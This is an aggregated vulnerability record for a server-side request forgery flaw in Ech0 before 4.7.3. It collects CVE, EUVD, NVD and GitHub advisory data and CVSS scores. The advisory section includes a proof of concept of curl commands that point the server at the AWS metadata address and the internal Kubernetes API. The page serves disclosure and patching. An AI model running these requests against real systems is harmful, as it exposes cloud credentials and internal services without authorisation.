GO-2026-5259Published

Ech0 before 4.7.3 Server-Side Request Forgery via fetchPeerConnectInfo

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-79659

Published

Ech0 before 4.7.3 contains a server-side request forgery vulnerability in the fetchPeerConnectInfo function that uses unvalidated HTTP requests instead of safe request methods with URL validation. Authenticated attackers can supply arbitrary URLs to access internal services and cloud metadata endpoints by triggering connection health checks or peer connection operations.

Source published: 25 Aug 2026 11:33:23 UTC
Source modified: 8 Oct 2026 15:25:12 UTC
Observed here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

euvd · EUVD-2026-65455

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 25, 2026, 11:33:23 AM

dateUpdated: Oct 8, 2026, 3:25:12 PM

Source published: Aug 25, 2026, 11:33:23 AM (timezone not stated)
Source modified: Oct 8, 2026, 3:25:12 PM (timezone not stated)
Observed here: 9 Nov 2026 15:14:28 UTC
Source terms: ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

nvd · CVE-2026-79659

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-918

Original publisher date fields

published: 2026-08-25T12:16:29.380

lastModified: 2026-10-08T16:17:44.673

Source published: 25 Aug 2026 12:16:29 UTC
Source modified: 8 Oct 2026 16:17:44 UTC
Observed here: 25 Oct 2026 16:19:04 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

osv · GHSA-8mc6-xjpr-h98x

Published

## Summary The `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints. ## Details In `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function: ```go func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) { url := httpUtil.TrimURL(peerConnectURL) + "/api/connect" resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout) ``` This uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it. Called from: - Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)` - - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)` ## PoC ```bash # 1. Add a connection pointing to AWS metadata service curl -X POST "https://ech0.example.com/api/connects" \ -H "Authorization: Bearer <token>" \ -d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}' # 2. Trigger SSRF via health check curl -H "Authorization: Bearer <token>" \ "https://ech0.example.com/api/connects/health" # Returns AWS EC2 instance ID ``` Or for Kubernetes: ```bash curl -X POST "https://ech0.example.com/api/connects" \ -H "Authorization: Bearer <token>" \ -d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}' ``` ## Impact - **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API - - **CWE-918**: Server-Side Request Forgery

Source published: 7 May 2026 21:28:40 UTC
Source modified: 27 Aug 2026 04:10:40 UTC
Observed here: 24 Oct 2026 13:19:41 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Publisher rating · HIGH

osv · GO-2026-5259

Published

Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo in github.com/lin-snow/ech0

Source published: 25 Jun 2026 18:43:15 UTC
Source modified: 27 Aug 2026 04:10:40 UTC
Observed here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.